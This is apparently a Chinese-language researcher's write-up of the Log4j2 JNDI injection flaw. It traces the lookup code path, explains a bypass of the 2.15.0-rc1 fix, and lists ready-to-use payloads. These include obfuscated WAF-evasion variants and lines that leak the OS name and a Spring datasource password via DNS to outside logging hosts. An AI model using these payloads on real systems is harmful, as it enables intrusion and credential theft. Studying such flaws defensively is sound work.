分析

demo code: (环境搭建参考 https://www.anquanke.com/post/id/262668)

  1. import org.apache.logging.log4j.LogManager;
  2. import org.apache.logging.log4j.Logger;
  3. public class test {
  4. private static final Logger logger = LogManager.getLogger(test.class);
  5. public static void main(String[] args) {
  6. String a="${java:os}";
  7. logger.error(a);
  8. }
  9. }

参考 https://lorexxar.cn/2021/12/10/log4j2-jndi/
调用栈:

  1. lookup:223, Interpolator (org.apache.logging.log4j.core.lookup)
  2. resolveVariable:1116, StrSubstitutor (org.apache.logging.log4j.core.lookup)
  3. substitute:1038, StrSubstitutor (org.apache.logging.log4j.core.lookup)
  4. substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
  5. replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
  6. format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
  7. format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
  8. toSerializable:345, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
  9. toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
  10. encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
  11. encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
  12. directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
  13. tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
  14. append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
  15. tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
  16. callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
  17. callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
  18. callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
  19. callAppenders:543, LoggerConfig (org.apache.logging.log4j.core.config)
  20. processLogEvent:502, LoggerConfig (org.apache.logging.log4j.core.config)
  21. log:485, LoggerConfig (org.apache.logging.log4j.core.config)
  22. log:460, LoggerConfig (org.apache.logging.log4j.core.config)
  23. log:82, AwaitCompletionReliabilityStrategy (org.apache.logging.log4j.core.config)
  24. log:161, Logger (org.apache.logging.log4j.core)
  25. tryLogMessage:2198, AbstractLogger (org.apache.logging.log4j.spi)
  26. logMessageTrackRecursion:2152, AbstractLogger (org.apache.logging.log4j.spi)
  27. logMessageSafely:2135, AbstractLogger (org.apache.logging.log4j.spi)
  28. logMessage:2011, AbstractLogger (org.apache.logging.log4j.spi)
  29. logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi)
  30. error:740, AbstractLogger (org.apache.logging.log4j.spi)
  31. main:9, test

跟进log.error函数会调用 logIfEnabled
这个函数会判断当前日志等级是否启用,然后再调用logMessage函数.
image.png
只有大于等于log4j日志等级配置的日志才会被记录和解析, 默认情况下这个配置是Error
(log4j的日志等级有如下这些)
image.png
然后就直接跟到MessagePatternConverter#format函数, 这个函数会判断解析日志中是否存在 “${“ 开头的字符串,如果存在就调用this.config.getStrSubstitutor().replace进行解析和替换.
image.png
this.config.getStrSubstitutor() 返回 StrSubstitutor类实例.
看到StrSubstitutor#replace: 不同于普通的字符串replace(X
image.png
replace会调用StrSubstitutor#substitute函数,
image.png
这个函数做了两件事情, 匹配 ${} 和 匹配 xx:xx(如java:os)
匹配到了之后调用resolveVariable函数.
image.png
这个函数就是解析log4j日志中特殊变量的, 可以看到它把解析的任务交给了resolver.
image.png
调试的话可以发现这个resolver是类org.apache.logging.log4j.core.lookup.Interpolator的实例,
image.png
然后看到它的lookup方法就是对 xx:yy 协议做了一个前缀匹配, 然后找对应的strLookup方法
image.png
strLookup: 就是各自loopup方法, 都是log4j实现的. 功能都可以看名字看出来大概.
image.png
然后就是调用对应的lookup方法了.
这里可以看下JndiLookup, 基本就是调用jndi的lookup方法了:
image.png

RC1修复与绕过

修复之后的版本默认关闭lookup方法, 可以通过如下的配置开启:

  1. <configuration status="OFF" monitorInterval="30">
  2. <appenders>
  3. <console name="CONSOLE-APPENDER" target="SYSTEM_OUT">
  4. <PatternLayout pattern="%m{lookups}%n"/>
  5. </console>
  6. </appenders>
  7. <loggers>
  8. <root level="error">
  9. <appender-ref ref="CONSOLE-APPENDER"/>
  10. </root>
  11. </loggers>
  12. </configuration>

修复后的代码在 https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1
直接弃用了原理的format方法,
image.png
功能被私有类替代, 不开lookup=> SimpleMessagePatternConverter
开lookup=>LookupMessagePatternConverter:
image.png

ps: 发现apache官方在最新的log4j-core中移除了LookupMessagePatternConverter

然后修复之后别的主要改动就是Jndi.lookup方法的实现了:
修改之前:
image.png
修改之后: 加了两处限制

  1. @SuppressWarnings("unchecked")
  2. public synchronized <T> T lookup(final String name) throws NamingException {
  3. try {
  4. // ...
  5. // 两处限制
  6. } catch (URISyntaxException ex) {
  7. // This is OK.
  8. }
  9. return (T) this.context.lookup(name);
  10. }
  1. 限制LDAP Server host ip, 默认的白名单是本地IP

image.png

  1. 下面这段代码. 猜测是针对RMI的攻击面进行了过滤. // TODO,

image.png
Bypass: bypass非常简单, 只需要在执行校验之前, 触发溢出,那么代码就会直接跳转到异常处理, 然后就可以执行lookup.
image.png
触发异常的方法: new URI异常.

  1. ${jndi:ldap://xxx.xxx.xxx.xxx:xxxx/ ExportObject}

之后的修复, 直接在异常处理中return了.
image.png

poc/测试

登录框,页面参数,搜索框
在可能存在漏洞的地方插入: ${jndi:rmi://fc318d9b.dns.1433.eu.org/ test}
image.png
变形/绕过

  1. ${${upper:jndı}:ldap://localhost:1090/rce}
  2. json unicode编码绕过
  3. ${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce}
  4. ${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//a0d27ae7.dnslog.rest/z}
  5. ${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://a0d27ae7.dnslog.rest/z}
  6. ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://a0d27ae7.dnslog.rest/z}
  7. ${jnd${upper:ı}:ldap://a0d27ae7.dnslog.rest/z}

https://github.com/Puliczek/CVE-2021-44228-PoC-log4j-bypass-words (github的一些绕过.

利用

受Log4j影响的组件/厂商等: https://github.com/YfryTchsGD/Log4jAttackSurface

RCE

RMI打或者LDAP反序列化.
// TODO 复现

敏感信息泄露

利用dnslog外带敏感信息.

  1. ${jndi:ldap://${java:os}.2lnhn2.ceye.io}

泄露配置文件信息:
参考 https://mp.weixin.qq.com/s/vAE89A5wKrc-YnvTr0qaNg

  1. ${jndi:ldap://${bundle.application.spring.datasource.password}.2lnhn2.ceye.io}

参考文章

https://www.anquanke.com/post/id/263325#h2-4
https://lorexxar.cn/2021/12/10/log4j2-jndi/